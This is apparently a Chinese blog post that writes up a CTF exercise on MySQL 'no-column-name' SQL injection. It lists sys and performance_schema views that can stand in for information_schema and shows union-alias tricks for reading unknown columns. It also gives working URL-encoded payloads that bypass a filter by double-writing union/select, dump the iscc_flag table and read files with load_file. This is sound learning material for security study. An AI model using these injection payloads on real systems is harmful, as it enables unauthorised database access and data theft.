18965天

记一次CTF-mysql无列名注入

发布于 7个月前 / 192 次围观 / 0 条评论 / 学习笔记 / JunMo

0x01 Bypass information_schema获取表名

innodb存储引擎

Mysql>5.6.x 可以利用innodb_table_stats和innodb_table_stats两个表来查询,mysql默认是关闭InnoDB存储引擎的

两表均有database_name和table_name字段

select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();

MySQL5.7的新特性

sys.schema_auto_increment_columns该视图的作用简单来说就是用来对表自增ID的监控,需要表内存在自增id才可被查询到

SELECT * FROM sys.schema_auto_increment_columns WHERE TABLE_SCHEMA='testsql';

这里其实我们需要的部分就是table_schema,table_name,column_name这3个列

ULDX}AZI@${F9%0P$`O73`O.png

我们testsql内有着两个表testtable以及testxxxx只有自增ID的表testtable被查询出来了

O3]GSHA[D%6JS~A{C]X=4.png

sys.schema_table_statistics_with_buffer

SELECT * FROM sys.schema_table_statistics_with_buffer WHERE TABLE_SCHEMA='testsql';

查询这个试图可以获取没有自增id的表名

V4~DVK[A6V}ZBC}GW2MJ2PB.png

sys.x$ps_schema_table_statistics_io

SELECT * FROM sys.x$ps_schema_table_statistics_io WHERE TABLE_SCHEMA='testsql'

默认存在db可无视

@D%QDTIN_TJI1E_KO[W7]VS.png

包含in

SELECT * FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = 'testsql';
SELECT * FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = 'testsql';
SELECT * FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = 'testsql';
SELECT * FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = 'testsql';

不包含in

SELECT * FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = 'testsql';
SELECT * FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = 'testsql';
SELECT * FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = 'testsql';

â{H8Z]E4L_8520(2F5ZGB.png

通过表文件的存储路径获取表名

SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP 'testsql';
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP 'testsql';
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP 'testsql';

XD%TYZA9[]N4G%MV1Y@A0BU.png

performance_schema

SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = 'testsql';
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = 'testsql';

包含表文件路径的表

SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

FJE%USS[ERPO0$8GQ3]V1%N.png

包含之前查询记录的表

SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();

0x02 无列名注入

我们获取了表的信息但是并没有找到类似于information_schema中COLUMNS的视图数据,无列名注入的原理其实类似于将我们不知道的列名,进行取别名操作,在取别名的同时进行数据查询,所以如果我们查询的字段多于数据表中列的时候,会出现报错。

select * from testtable;

7O5DEP62]GUL}LBSN37W$(X.png

select 1,2,3 union select * from testtable;

数据表中有3列,我们使用无列名查询的方式尝试查询一下

RRX(~UGXNWK]%(7(CNHK4]C.png

无列名注入对应所查询数据表的列数必须一直不然会报错,这里在添加一列查询进行测试

~EF(2}1VCOT$))Y}R)V~4X0.png

利用子查询对第二列数据进行查询

select `2` from(select 1,2,3 union select * from testtable)b;

BV1}5`N`Q~A(MH85(RWS(2E.png

查询多列数据也可以使用group_concat

select concat(`2`,0x7e,`3`) from (select 1,2,3 union select * from testtable)a;

P0CK%QHT1T69W{9WC(LMT{V.png

查询一行数据

 select concat(`2`,0x7e,`3`) from (select 1,2,3 union select * from testtable)a limit 1,1;

当`被过滤时,可以使用别名查询

select t from(select 1,2 as t,3 union select * from testtable)b;

YR[$7T[U7XDYH7X9_P1}XFR.png

还可以使用join进行无逗号注入 a是第一个列b是第二c是第三

select b from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from testtable)x;

MBGCJ1OMC34KL7WE5WP)N`6.png

0X03例题

0x01前言

在睡觉前某个师傅发过来了一个CTF注入题目,记录一下过程

0x02过程

FUMT``ZK$W1DF{XYC5D7[M8.png

手动测试了一下拦截 or 空格跟%0a %09等空白字符

判断列数使用group这里空格使用%0d得到3列

C30)W3~RF4~AN)C[ADLI)]8.png

 

测试联合注入发现页面显示error也没被拦截

HL32OFG`_H5KV3L7QOJ)Z)B.png

这里猜测是进行过滤将union跟select双写成功

68_IQT4PT7VRUH3UH3}IA~C.png

这里也测试了一下将union放在or中间,发现还是被拦截,估计是替换后在判断是否拦截的所以这里要从information_schema里获取数据就不太现实了

~]6}UJ2IGH]]2RM~WKLD(TU.png

得到当前数据库iscc_web跟版本5.7.33

OYX81BHH@7JWDA4(L{~¤H.png

这里版本是5.7所以我们可以sys.x$ps_schema_table_statistics_io来获取表名这里很明显我们需要的iscc_flag这个表内的数据

id=-1'uniunionon%0dselselectect%0d1,group_concat(table_name),3%0dfrom%0dsys.x$ps_schema_table_statistics_io%0dwhere%0dtable_schema='iscc_web'%23

7DIKH]_C2`}R}YQOQ)@2)AP.png

这里采用无列名注入获取数据得到ccmd.php

?id=-1'uniunionon%0dselselectect%0d1,(selselectect%0dgroup_concat(a)%0dfrom%0d(selselectect%0d1,2%0das%0da%0duunionnion%0dselselectect*from%0discc_flag)c),3%23

0L@QNI8}YU8I2(TZP`SDB)V.png

ccmd.php打开提示我们flag在flllllllllaaag.php文件里

O155$KH3%(~[TSA$UU96DAS.png

fuzz一下没被拦截的字符

C3378399B9C29E300F88BC309C3BD70F.png

执行一下pwd获取当前路径

5]SZL[[1$_H5RSU4HC]_G8B.png

这里我们通过load_file去读取flag文件

QGXN4ANRGM){(8)TR`(YBJC.png

成功读取到flag

L$GWD3%(HPH)M5%]KU0GROO.png